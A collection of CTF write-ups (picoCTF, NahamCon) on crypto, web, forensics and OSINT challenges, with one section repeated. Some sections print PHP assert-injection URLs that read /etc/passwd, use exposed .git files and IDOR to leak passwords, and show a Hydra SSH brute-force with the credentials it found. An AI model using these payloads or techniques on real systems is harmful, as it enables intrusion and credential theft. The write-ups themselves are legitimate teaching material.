pow(first_pt, e, N)`. To calculate the rest of the possible plaintexts,we can do this: ```Let pt be an arbitrary plaintext. pt^e == ct (mod N) (pt * x)^e == ct (mod N)pt^e * x^e == ct (mod N)x^e == 1 (mod N)``` If we can find all `x` satisfying `x^e == 1`, then we can recover all the otherplaintexts. Actually `x` is called a[Root of unity modulo n](https://en.wikipedia.org/wiki/Root_of_unity_modulo_n).We can calculate these using the method described in section "Finding multipleprimitive k-th roots modulo n". I ended up a using a dumber method:```pythonuns = set()i = 1while len(uns) < 128: un = pow(i, lam, N) uns.add(un) i += 1``` Finally we can use the hint to pick out the correct plaintext (or we can check if they decrypt to ASCII):```pythonpt2 = Nonepts = [(un * first_pt) % N for un in uns]pts = [hex(pt) for pt in pts]for pt in pts: if "0x28322" in pt: pt = int(pt, 16) pt2 = cun.long_to_bytes(pt).decode() break``` Part 2: `(2, 861352498496153254961238645321268413658613864351)` ## Part 3 N is only 202 bits and its factors can be found on [factordb](http://factordb.com/index.php?query=3213876088517980551083924185487283336189331657515992206038949) Part 3: `(3, 3145756504701717246281836139538967176547517737056)` ## Final step Ok so we we have:```(1, 132156498146518935546534654)(2, 861352498496153254961238645321268413658613864351)(3, 3145756504701717246281836139538967176547517737056)``` That's cool and all, but WHERE THE FUCK IS THE FLAG?? It probably had somethingto do with this weird hint:```RSA@S@@S@``` WTF DOES THIS EVEN MEAN? I ended up asking the admin, who gave me the hint thatRSA and SSS share the same S. My teammate Leah figured out that itstood for Shamir Secret Sharing. ```pythonimport shamirres = shamir.recover_secret([a, b, c], prime=cun.getPrime(512))print(cun.long_to_bytes(res).decode())``` Flag (full script in `solve.py`):```bctf{Mr._Ad1_5ham1r}```
# Warmups Here are all my solutions to the `warmups` category, except for `Eighth Circle` ## Veebee I use Windows, so I just ran it: ![not_easy](./not_easy.png) Just click through the second, and here we go: ![flag](./flag.png) Nice! ## Chicken wings We have this encoded flag:```♐●♋♑❀♏????♍♏⌛?♐??????♍????♌?♍?♋?♌♎♍?♏❝```This is wingdings and we can decode this [here](https://lingojam.com/WingDing):```flag{e0791ce68f718188c0378b1c0a3bdc9e}``` ## Shoelaces We have an image of shoelaces, I just ran `strings`, that's my instinct to check for a flag right away: ```strings shoelaces.jpg | grep flag flag{137288e960a3ae9b148e8a7db16a69b0}``` ## Car keys ```We found this note on someone's key chain! It reads... ygqa{6y980e0101e8qq361977eqe06508q3rt}? There was another key that was engraved with the word QWERTY, too...```So this is definitely a `QWERTY` shift, I used [this]():```foak{6f980c0101c8aa361977cac06508a3de}```Just fix the prefix```flag{6f980c0101c8aa361977cac06508a3de}``` ## Buzz ```You know, that sound that bumblebees make?``` They `zzzzzzzz`, just use `7z x` on the file:```7z x buzz 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives:1 file, 45 bytes (1 KiB) Extracting archive: buzz--Path = buzzType = Z Everything is Ok Size: 39Compressed: 45```And your flag is in the extracted files:```bashcat buzz~flag{b3a33db7ba04c4c9052ea06d9ff17869}``` ## Pollex We have an image:```? Download the file below.```I was too lazy to switch to my `Kali` VM and run `file` etc. So I just used this [exif tool](http://exif.regex.info/exif.cgi): ![pollex](./pollex.png) ## esab64 Try reconstructing it. `esab64` is kind of like `base64` isn't it?```python3Python 3.7.4 (default, Jul 11 2019, 10:43:21) [GCC 8.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> with open('esab64','rt') as file:... todebase = file.readlines()... >>> todebase['mxWYntnZiVjMxEjY0kDOhZWZ4cjYxIGZwQmY2ATMxEzNlFjNl13X']>>> todebase[0][::-1]'X31lNjFlNzExMTA2YmQwZGIxYjc4ZWZhODk0YjExMjViZntnYWxm'>>> import base64>>> base64.b64decode(todebase[0][::-1])b'_}e61e711106bd0db1b78efa894b1125bf{galf'>>> base64.b64decode(todebase[0][::-1])[::-1]b'flag{fb5211b498afe87b1bd0db601117e16e}_'```There it is :)
# Asserted ## Trying things After a while a noticed that the url was using an argument to change between pages: ```http://challenge.nahamcon.com:32302/index.php?page=about``` If i try something like: ```http://challenge.nahamcon.com:32302/index.php?page=../``` The page returns: `HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE` ## Digging I wanted to check the php code of this `index.php` so i researched a bit and i used this: ```http://challenge.nahamcon.com:32302/index.php?page=php://filter/convert.base64-encode/resource=index``` To get a base64 encoded `index.php` file. After decoding we can take a look to this friend: ``` ``` Looks like that `assert` function can be abused. Lets try this simple payload: ```http://challenge.nahamcon.com:30611/index.php?page='. die("HALLO") .'``` The page printed `HALLO` to the response body so lets try LFI: ```http://challenge.nahamcon.com:30611/index.php?page='. die(file_get_contents("/etc/passwd")) .'```And the server printed the hole file to us, cool. Lets find and get the flag then: ```http://challenge.nahamcon.com:30611/index.php?page='. die(file_get_contents("/flag.txt")) .'``` Flag: `flag{85a25711fa6e111ed54b86468a45b90c}`
# It is my Birthday Category: Web Exploitation AUTHOR: MADSTACKS ## Description```I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website.``` ## The gimmick So someone "secured" their invite cards by making sure that the MD5 hash of their two invites are the same. This is all nice and dandy, except for one problem. MD5 is known to have Hash collisions! "What's that?":``` +-----------------+Plain text ====> | Hash function | ====> Hash +-----------------+```This is basically what you can imagine under hashing. One important thing to note, is that one of the required properties for a hash function is that it is irreversible, ie. unlike encryption there is no inverse function that can recover the plaintext from the hash. The other important property is, that for each unique input we should generate a unique output:``` +-----------------+Message 1 ====> | Hash function | ====> Hash 1 +-----------------+ +-----------------+Message 2 ====> | Hash function | ====> Hash 2 +-----------------+```Where the following is true:```Hash 1 != Hash 2``` ## The solution Great! So no way we could possibly solve this challenge.... well that is obviously not true. We've established before that MD5 is vulnerable and collisions have been found before. Like [here](https://www.mscs.dal.ca/~selinger/md5collision/). This is also where I found my files. ```hello.exeerase.exe```Simply change the file extension to `.pdf`. Upload to this beautiful website. ![website](./website.png) And then get the following result:```php <html lang="en"> <head> <title>It is my Birthday</title> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet"> <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <div class="header"> <h3 class="text-muted">It is my Birthday</h3> </div> <div class="jumbotron"> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-12"> <h3>See if you are invited to my party!</h3> </div> </div> <div class="upload-form"> <form role="form" action="/index.php" method="post" enctype="multipart/form-data"> <div class="row"> <div class="form-group"> <input type="file" name="file1" id="file1" class="form-control input-lg"> <input type="file" name="file2" id="file2" class="form-control input-lg"> </div> </div> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-12"> <input type="submit" class="btn btn-lg btn-success btn-block" name="submit" value="Upload"> </div> </div> </form> </div> </div> </div> <footer class="footer"> © PicoCTF </footer> © PicoCTF </div> <script>$(document).ready(function(){ $(".close").click(function(){ $("myAlert").alert("close"); });});</script></body> </html>``` `picoCTF{c0ngr4ts_u_r_1nv1t3d_da36cc1b}` Here it is :)
# Play Nice Category: Cryptography AUTHOR: MADSTACKS ## Description```Not all ancient ciphers were so bad... The flag is not in standard format.``` ## What is the playfair cipher? We were given souce code called `playfair.py`, from this we can tell that the cipher used will be a playfair cipher! But what is that? A detailed explenation can be found [here](https://en.wikipedia.org/wiki/Playfair_cipher). I know about this cipher from NetOnCTF 2021, I have writeups on challenges from it [here](https://github.com/xnomas/NetOn-Writeups-2021). But lets get into the nitty gritty.Tha basics that we need is an alphabet, size of our matrix and some ciphertext:```+---------+|A|B|C|D|E|+---------+|F|G|H|I|J|+---------+|K|L|M|N|O|+---------+|P|Q|R|S|T|+---------+|U|W|X|Y|Z|+---------+```This could be an example matrix. And this matrix is our key! (also notice one typical thing, we left out one letter `V`. Most often you will see `I` or `J` left out) We use it to decrypt and encrypt text. Now, instead of taking you through all of the ins and outs of encryption and decryption, here are the basic concepts if decrypting text: If we want to decrypt the text `QKDUKFHS` here is how we do it:1. Split into pairs = `QK, DU, KF, HS`2. Go through the pairs3. If the letters are on the same line, shift left4. If the letters are in the same column, shift up5. Else form a rectangle, with the letters being one of the top or bottom edges. Get the first letter under the left top and first letter above right bottom (example to follow) So here we go:```QK = Form a rectangle: K LP Q So Q turns into P and K into L; QK = PL---------------------------------------DU = Form a rectangle: ABCD<FGHIKLMNPQRSUWXY^ D turns into A, U turns into Y; DU = AY--------------------------------------- KF = In the same column, shift up!---|A||F||K|---K turns into F, F turns into A; KF = FA----------------------------------------HS = Form a rectangle: HIMNRS H turns into I, S turns into R; HS = IR--------------------------------------- QKDUKFHSPLAYFAIR```Great, now onto solving the challenge. ## Takeaways from playfair.py There are just a few important parts to note:```pySQUARE_SIZE = 6```This is the size of our matrix.```pydef generate_square(alphabet): assert len(alphabet) == pow(SQUARE_SIZE, 2) matrix = [] for i, letter in enumerate(alphabet): if i % SQUARE_SIZE == 0: row = [] row.append(letter) if i % SQUARE_SIZE == (SQUARE_SIZE - 1): matrix.append(row) return matrix```And the function that generates our matrix, which looks like this:```py[['n', '5', 'v', 'g', 'r', 'u'], ['7', 'e', 'h', 'z', '1', 'k'], ['l', 'j', 'a', '8', 's', '9'], ['3', '4', '0', 'm', '2', 'w'], ['c', 'x', 'b', 'd', '6', 'p'], ['q', 'f', 'i', 't', 'o', 'y']]```And then when we connect to the remote service, we get this ciphertext:```hnjm2e4t51v16gsg104i4oi9wmrqli``` ## Decoding You can use an online decoder, like [this one](https://www.dcode.fr/playfair-cipher). But I decided to practice and code it.```pyalphabet = 'n5vgru7ehz1klja8s9340m2wcxbd6pqfitoy'matrix = generate_square(alphabet) index = {}for i in range(6): for x in range(6): index[matrix[i][x]] = [matrix[x].index(matrix[x][i]),x]```Here we generate the matrix, from that I made a dictionary containing all the characters of the alphabet, with their corresponding index.```pydef split_by_two(text): splits = [] for i in range(0,len(text),2): splits.append(text[i]+text[i+1]) return splits ciphertext = 'hnjm2e4t51v16gsg104i4oi9wmrqli'splits = split_by_two(ciphertext)plaintext = ''```Then I just simply split the cipher text into pairs.```pyfor s in splits: plaintext += get_rectangle(s,index,matrix) print(f'Decrypted: {plaintext}')```And finally for each pair I find either the rectangle, or the column/row (those are in the get_rectangle function). I don't think I need to go too into detail of the `rectangle` code, since we went over how decryption works. Run and get this:```Decrypted: 7v8441mfrerhdr8rh20f2fya20noaq```Now just connect with netcat and here we go:```nc mercury.picoctf.net 19354Here is the alphabet: n5vgru7ehz1klja8s9340m2wcxbd6pqfitoyHere is the encrypted message: hnjm2e4t51v16gsg104i4oi9wmrqliWhat is the plaintext message? 7v8441mfrerhdr8rh20f2fya20noaqCongratulations! Here's the flag: dbc8bf9bae7152d35d3c200c46a0fa30```The flag is just the flag, no `picoCTF{}`.
# Dachshund Attacks Category: Cryptography AUTHOR: SARA ## Description```What if d is too small?``` ## Research After connecting with netcat:```Welcome to my RSA challenge!e: 24306145239119831891057822826171152463533310560588061481342282082293832877043229140944546638772209266341357024664926986499282658640654836421168385674155158010757034371368551464449266158342531284923781100460337336731237334995747794173427317983442414014866351103394165986951821807429589876087730750588747227475n: 113879656614968219315002292792785016300283621066264891462746855897849984541260238077395872179414479414351940265337417733895597641292673333616687328592787030278301325411879910209868945485563446678554667658812834112484496059760537701323622763502114387050535004354955498047452244677269702789571760082735759416661c: 33975267070546558291376396894156641020103607950277145572215677351937011883386332628721280056087182329858563172091251439777476221940648453840314586019058031879889240891587737579019948125735285606842093451632409848923515598366204079628214398453946777088376520333236232456361563632867701193232209996182065102638```Great, so we have pretty big values. Maybe the name of the challenge could help? Try Googling `Dachshund`. A dog that (Americans I think) call a Wiener dog (not kidding). Maybe this has something to do with RSA? Try googling `Wiener RSA`. You should find [this](https://en.wikipedia.org/wiki/Wiener%27s_attack) Wikipedia article. Nice! So maybe we can attack it? Then I searched for existing implementations of this attack in python and found [this](https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py). ## Clone and edit So just `git clone` the tool and edit the `RSAwienerHacker.py` source like so:```py if t!=-1 and (s+t)%2==0: print("Hacked!") print(d) return d```Just let it print `d`. Then give the function the values and run:```d = 30478129286063770625826157267481725440648795386122572986908262146195842369909```Great, then I just ran these commands in the python interpreter:```py>>> d = 30478129286063770625826157267481725440648795386122572986908262146195842369909>>> c = 19670829373448227336612091371853437715641143369845978105227955250203929596122162379586823049655885463258494241031020759090289294678934795410036506457875839111151900146085356632197127300732370877258215371139186168365001274223287909907133192431779175983967706830025744307582355098871766511313408031034363234933>>> pow(c,d,n)198614235373674103788888306985643587194108045477674049828581286653845845629>>> from Crypto.Util.number import long_to_bytes>>> long_to_bytes(198614235373674103788888306985643587194108045477674049828581286653845845629)b'picoCTF{proving_wiener_5086186}'```There we go!
# New caesar Category: Cryptography AUTHOR: MADSTACKS **DISCLAIMER! I do not own any of the challenge files!** ## Description ```We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{})lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil``` ## What is the caesar cipher? A monoalphabetic substition cipher with a right shift of 3. Now that the fancing words are out of the way, what does it actually do? Well the classic caesar cipher just takes each letter and shifts it 3 positions to the right in the alphabet. If the shift would go over the length of the alphabet, then just loop back around. We have been given cipher text and the source code used to encrypt it. ## new_caesar.py Lets look at the variables first:```pyimport string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16]```So the offset (our shift value) is the ascii value of `a` (97), and our special alphabet is a slice of all lowercase letters: `abcdefghijklmnop`. Great! On to the functions.```pydef b16_encode(plain): enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc```Alright, this might look confusing, but if we break it down. Iterate over the plaintext string, and convert the ascii value of each letter into binary format, keep it at a length of 8 (so a byte) and padded by 0's if needed. Try this:```pypython>>> f'{ord("a"):08b}''01100001'>>> int(f'{ord("a"):08b}',2)97```This is the except, that I used a python 3 format string (they are just so pretty!). Right, so what happens next? Well the binary string is split into two halves: `0110` and `0001` in our case, these are converted back into decimal, and used as an index in the alphabet. Again, try it in the terminal! ```python>>> alphabet = string.ascii_lowercase[:16]>>> a = f'{ord("a"):08b}'>>> int(a[:4],2)6>>> int(a[4:],2)1>>> alphabet[6]+alphabet[1]'gb'```So `a` turns into `gb`. Great! Now on to the `shift`:```pydef shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)]```For the two variables we get two characters, and substract `97` from their ascii values. Then just add those together (modulo length of the alphabet so we stay in bounds) and use that value as an index for the alphabet list.```pyflag = "redacted"key = "redacted"assert all([k in ALPHABET for k in key])assert len(key) == 1 b16 = b16_encode(flag)enc = ""for i, c in enumerate(b16): enc += shift(c, key[i % len(key)])print(enc)``` This is all put together here. The initial assertions are really telling. The assert makes sure that a condition is met and if not it raises an assertion error. So we can tell that the key is made up of letters from the alphabet only! Next we know that the length of this key is 1. The flag is then put into `b16_encode`, so it doubles in length! And here is the `enumerate` method:```python>>> c = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil'>>> for i,c in enumerate(c):... print(f'{i} {c}')...0 l1 k2 m3 j4 k5 e6 m7 j8 m9 k......```It just indexes each letter from the b16 encoded string. Each letter (c) is shifted using the key! "But what about the modulus?" Who cares? The length of the key is 1, so we are just going to use the single letter anyway. ## solve.py Now we just have to reverse it all:```pydef shift(c, k): t1 = ord(c) + offset t2 = ord(k) + offset return alphabet[(t1 + t2) % len(alphabet)]``` This should be obvious. Next.```pydef b16_decode(encoded): for e in encoded: p1 = f"{alphabet.index(encoded[:1]):04b}" p2 = f"{alphabet.index(encoded[1:]):04b}" binary = p1 + p2 char = chr(int(binary,2)) return char```Here the input are two letters, we split them, get their index in the alphabet and turn into a binay string of length 4. Put those together and convert to ascii. Then I just added a `check` function to only see if the decoded string contains printable letters:```pydef check(text): for t in text: if t not in string.printable: return False return True```And here is the rest:```pyciphertext = 'lkmjkemjmkiekeijiiigljlhilihliikiliginliljimiklligljiflhiniiiniiihlhilimlhijil' for a in alphabet: plain = '' key = a decode = '' for i,c in enumerate(ciphertext): decode += shift(c, key) for i in range(0,len(decode),2): temp = (decode[i] + decode[i+1]) plain += b16_decode(temp) if check(plain): print(f'key = {a} : {plain} ') print() ```Run it and this is the output:```key = g : TcNcd.N#" SQ%!R$% 'RS&$U S/Q'"'"!Q%&Q#% key = h : et_tu?_431db62c5618cd75f1d0b83832b67b46 ```Try and guess which is the flag ;)
# Cookies Category: Web ExploitationAUTHOR: MADSTACKS ## Description```Who doesn't love cookies? Try to figure out the best one.``` ## Looking at the website Opening up the given link we are welcomed by the following page: ![website](./website.png) Good, so we can search for cookies. I fired up `BurpSuite` right away, entered `snickerdoodle` and sent it away! After I got a response from the server my web cookie changed```name=0```And this appeared: ![snickerdoodle](./snickerdoodle.png) ## Burping Interesting, we started out at `name=-1`. I wonder if the cookies are in a sequence? I changed my cookie in Burp to `name=1`. Like so: ![poc](./poc.png) Sent it with forward and click through to the response. ![poc-2](./poc-2.png) Awesome! Now we can go through with intruder. Set a list like so: ![payload](./payload.png) Now just fire away! Responses are coming in now, so just sort by `length` and look for the odd one out. I found this: ![burp_solve](./burp_solve.png) Could this one be it? ![flag](./flag.png) And indeed it is! It might look nicer on the webpage, but this is could enough :) ```picoCTF{3v3ry1_l0v3s_c00k135_94190c8a}```
# Weird File Category: Forensics AUTHOR: THELSHELL **Disclaimer! I do not own the challenge files!** ## Description```What could go wrong if we let Word documents run programs? (aka "in-the-clear").``` ## Word document After clicking the link a Word document `weird.docm` is downloaded. Now a little known fact (for some), almost everything that is MS proprietary is just XML and zip (some of you might be pulling your hair, but hey... I think the description works). So what could we do with this? Sure, you could just run `file`, `binwalk` and `strings`. Or! Just use 7z (you can even download it for WIndows). ```$ 7z x weird.docm```*On windows just right-click, navigate to 7z and extract* So what did we extract?```$ ls'[Content_Types].xml' customXml docProps _rels weird.docm word```Great! ## Finding the weird stuff In word, powerpoint and other documents you can use macros. This allows evil leet h4x0rs to embed code in your word document that will execute (unless you have macros switched off, which you should!). Maybe this is the case here as well? ```$ ls *'[Content_Types].xml' weird.docm customXml:item1.xml itemProps1.xml _rels docProps:app.xml core.xml _rels: word:document.xml fontTable.xml _rels settings.xml styles.xml theme vbaData.xml vbaProject.bin webSettings.xml````vbaProject.bin` and `vbaData.xml`? That shouldn't be there, I don't think. Maybe there is something in there?```$ strings vbaProject.bin %RL9Macros can run any programTitleworld!some textllow Couldn't run python script!Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus)Attribute VB_Name = "ThisDocumen1Normal..........```Oh, great. I don't think Word ships with this. But that string is definitely `base64`: ### Flag on linux```bashecho cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -dpicoCTF{m4cr0s_r_d4ng3r0us}```Indeed they are Pico. ### Flag on Windows (powershell)```powershell[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9'))picoCTF{m4cr0s_r_d4ng3r0us}```
# Constellations Challenges unlocked by submitting flag. Overview ![Overview](img/OSINT_mermaid.png) - [Constellations](#constellations) - [The Mission](#the-mission) - [Bionic](#bionic) - [Gus](#gus) - [Hercules](#hercules) - [Meet The Team](#meet-the-team) - [Lyra](#lyra) - [Hydraulic](#hydraulic) ## [The Mission](https://ctf.nahamcon.com/mission) Flag on html source>Ctrl+u>>Ctrl+f "flag{" ``flag{48e117a1464c3202714dc9a350533a59}`` ### Bionic <https://constellations.page/> Source index has the following link to twitter witch have posted a flag ```HTMLhttps://twitter.com/C0NST3LLAT10NSflag{e483bffafbb0db5eabc121846b455bc7}``` link <https://github.com/constellations-git> ### Gus GitHub user gusrody is listed as member on constellations repo <https://github.com/gusrodry/development/blob/master/config/.ssh/flag.txt> - `` flag{84d5cc7e162895fa0a5834f1efdd0b32} `` .ssh folder has keys Is followed by HerculesScox ### Hercules <https://github.com/HerculesScox/maintenance/blob/main/connect.sh> - `` flag{5bf9da15002d7ea53cb487f31781ce47} `` Has hard corded credentials robots.txt ```txtDisallow: /meet-the-team.html``` ``flag{33b5240485dda77430d3de22996297a1}`` Enumerating root Tool: dirbuster Finding: .git/HEAD .git/config ```txt[user] name = Leo Rison email = [email protected]``` How to leverage the exposed git? [Google-fu](https://medium.com/swlh/hacking-git-directories-e0e60fa79a36) [Google-fu](https://github.com/internetwache/GitTools) ### Meet The Team Restored meet-the-team.html has the flag and lists PII. `` flag{4063962f3a52f923ddb4411c139dd24c} `` ### Lyra <https://twitter.com/LyraPatte> > IDOR>><https://constellations.page/constellations-documents/1/>>><https://constellations.page/constellations-documents/2/> <https://constellations.page/constellations-documents/5/> Has the flag and list of users, passwords. `` flag{bd869e6193c27308d2fd3ad4b427e8c3} `` ### Hydraulic Tool: Hydra [users](users) [passwords](passwords) ```Bash[31975][ssh] host: challenge.nahamcon.com login: pavo password: starsinthesky```
# Warmups Here are all my solutions to the `warmups` category, except for `Eighth Circle` ## Veebee I use Windows, so I just ran it: ![not_easy](./not_easy.png) Just click through the second, and here we go: ![flag](./flag.png) Nice! ## Chicken wings We have this encoded flag:```♐●♋♑❀♏????♍♏⌛?♐??????♍????♌?♍?♋?♌♎♍?♏❝```This is wingdings and we can decode this [here](https://lingojam.com/WingDing):```flag{e0791ce68f718188c0378b1c0a3bdc9e}``` ## Shoelaces We have an image of shoelaces, I just ran `strings`, that's my instinct to check for a flag right away: ```strings shoelaces.jpg | grep flag flag{137288e960a3ae9b148e8a7db16a69b0}``` ## Car keys ```We found this note on someone's key chain! It reads... ygqa{6y980e0101e8qq361977eqe06508q3rt}? There was another key that was engraved with the word QWERTY, too...```So this is definitely a `QWERTY` shift, I used [this]():```foak{6f980c0101c8aa361977cac06508a3de}```Just fix the prefix```flag{6f980c0101c8aa361977cac06508a3de}``` ## Buzz ```You know, that sound that bumblebees make?``` They `zzzzzzzz`, just use `7z x` on the file:```7z x buzz 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives:1 file, 45 bytes (1 KiB) Extracting archive: buzz--Path = buzzType = Z Everything is Ok Size: 39Compressed: 45```And your flag is in the extracted files:```bashcat buzz~flag{b3a33db7ba04c4c9052ea06d9ff17869}``` ## Pollex We have an image:```? Download the file below.```I was too lazy to switch to my `Kali` VM and run `file` etc. So I just used this [exif tool](http://exif.regex.info/exif.cgi): ![pollex](./pollex.png) ## esab64 Try reconstructing it. `esab64` is kind of like `base64` isn't it?```python3Python 3.7.4 (default, Jul 11 2019, 10:43:21) [GCC 8.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> with open('esab64','rt') as file:... todebase = file.readlines()... >>> todebase['mxWYntnZiVjMxEjY0kDOhZWZ4cjYxIGZwQmY2ATMxEzNlFjNl13X']>>> todebase[0][::-1]'X31lNjFlNzExMTA2YmQwZGIxYjc4ZWZhODk0YjExMjViZntnYWxm'>>> import base64>>> base64.b64decode(todebase[0][::-1])b'_}e61e711106bd0db1b78efa894b1125bf{galf'>>> base64.b64decode(todebase[0][::-1])[::-1]b'flag{fb5211b498afe87b1bd0db601117e16e}_'```There it is :)
# Trivial Flag Transfer Protocol Category: Forensics AUTHOR: DANNY **Disclaimer! I do not own any of the challenge files!** ## Description```Figure out how they moved the flag.``` ## Wireshark Yet again we have a packet capture file. This is because (as many of you might have guessed) this is a capture of a `TFTP` (Trivial File Transfer Protocol) exchange. This means that the data is exchanged in an unencrypted manner, and this is where wireshark can really come in handy. ![extract](./extract.png) Looking through the capture is not needed, we can just extract the exchanged files! (Really neat) ![files](./files.png) So just extract it all, and time to check them out. ## The filesFirst the instructions!```cat instructions.txtGSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA```Well this is probably just [ROT13 again](https://www.boxentriq.com/code-breaking/rot13)```GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISE OUR FLAG TRANSFER. FIGURE OUT A WAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN```Right! And we do have tha plan as well:```cat planVHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF```More ROT13, yay! ```VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF I USED THE PROGRAM AND HID IT WITH - DUEDILIGENCE. CHECK OUT THE PHOTOS```Okay, that is a little weird, but sure. We have abunch of pictures, as well as some `program.deb`. First the pictures:```binwalk *.bmp Scan Time: 2021-03-30 13:24:45Target File: /root/CTFs/Picoctf-2021/tftp/picture1.bmpMD5 Checksum: 64ff3e09f841809a58841fb446299de0Signatures: 391 DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PC bitmap, Windows 3.x format,, 605 x 454 x 24 Scan Time: 2021-03-30 13:24:46Target File: /root/CTFs/Picoctf-2021/tftp/picture2.bmpMD5 Checksum: 6a38935acc75a8042dee58d7641f437bSignatures: 391 DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PC bitmap, Windows 3.x format,, 4032 x 3024 x 242815484 0x2AF5FC Broadcom header, number of sections: 793596227,5539633 0x548731 rzip compressed data - version 87.76 (1415270489 bytes)6120249 0x5D6339 LANCOM OEM file8201345 0x7D2481 LANCOM firmware header, model: "QXKRYLQXKQXKQWKOUJNTIKQFIODIODJPELRGMSHMSHMSHLRGJPEHNCIODNTIRXMRXMZbWgqejuinznkwkiuiqxmlmcOPFCD:@@6?>4@?5A>5B?6A>5?<3>;2>;2>;2>;", firmware version: "JPWJ", RC74, build 87 ("OVIPWJQX")8249741 0x7DE18D LANCOM firmware header, model: "OVJPXMPXMPXMPXMPXMOWLOWLPXMOWLOWLOWLPXMOWLOWLQYNT\Q[eY]j^arefwjbsf`maWaU=D9/3(8:0:;1AB8=>4>>4=<2<;1<90>;2=:1=:1=:1>;2?<3?<3?<3?<", firmware version: "KPWJ", RC73, build 88 ("NUHOVIQX")8273945 0x7E4019 LANCOM firmware header, model: "X`UU]RT\QV^SW_TU]RS[PT\QV^SV^SV^S[eYal`eqeduhdxkfzmi}pj|om{odoc`h]T[PAG<:?4:>39:0;:0=<2=<2=<2<90;8/<90?<3A>5@=4?<3?<3>;2=:1>;2?<", firmware version: "TYaV", RC77, build 95 ("PWJRYMT\")10291544 0x9D0958 Broadcom header, number of sections: 324294729,12727226 0xC233BA StuffIt Deluxe Segment (data): fVefVefVefVdeUcdT`aQ_`P``Ra`R`_Q`_QbaScbTebVfbWb^Sa]R_[P[VMTOFQLCTNDYSHWQFWQFWQEWQDWQD[UH_YL`ZM_YL]WJ]WJ\VI]WJ]WJ^XK_YLc]PlfYnh[13247747 0xCA2503 StuffIt Deluxe Segment (data): fVdeUbcS`aQ_`P_`P``PaaQ``P``P__O__O^^N^^N^^N^^N\\L[[KYYI\ZK]ZK\YJ^[L\YJZWHZWHZWHZVG[VG]XI\WHZUFWRCUPAUPAVQBWRCYTEYTEYTEXSDXSDXSD13389886 0xCC503E rzip compressed data - version 89.67 (1263815251 bytes)13514042 0xCE353A StuffIt Deluxe Segment (data): fVcdTbdT`cS^aQ\_OSWGPVEJP?KQ@V\KW]LX^M`fUjn^lo_XZJBC3JK;QQAQO@TQBTPAUPASN?RM>UPATO@TO@UPATO@TO@TO@UPAVQBUPAUPAUPAVQBUPATPARO@SPA13654843 0xD05B3B HPACK archive data13840991 0xD3325F StuffIt Deluxe Segment (data): fVgiYfiYcfVbeUadT_bR\_O\_O_bRadT`cS^aQ\_OZ]M]_O`aQ_`P_`P^_O^^N^^N^^N__O``P`^OebSb_Pc`Qb`Q__O^_O`aQbcScdTcdT^_O[\LUVFTUEWWGXYIWZJ14459717 0xDCA345 StuffIt Deluxe Segment (data): fV`aQYZJTUEWXHYZJUUESSCWWGYWHZWH\YJa^OeaRa\MUO@[TE]TF[RDXOAaXJ[RDRI;SJUL>UL>VM?XOAXOAWN@TK>SJ=UL?WNAUL?RI<QH;TK>VM@WNATK>RI<14532293 0xDDBEC5 StuffIt Deluxe Segment (data): fV_`PhiYacS[^NUYIW]Lem\[eTckZw}lyzjjgXRM>LE6NE7UL>UL>VM?YPBWN@VM?VM?WN@WN@VM?RI;PG9QH:SJ<TK=TK=UL>WN@UL>TK=UL>VM?VM?UL>TK=SJ<TK=14908154 0xE37AFA 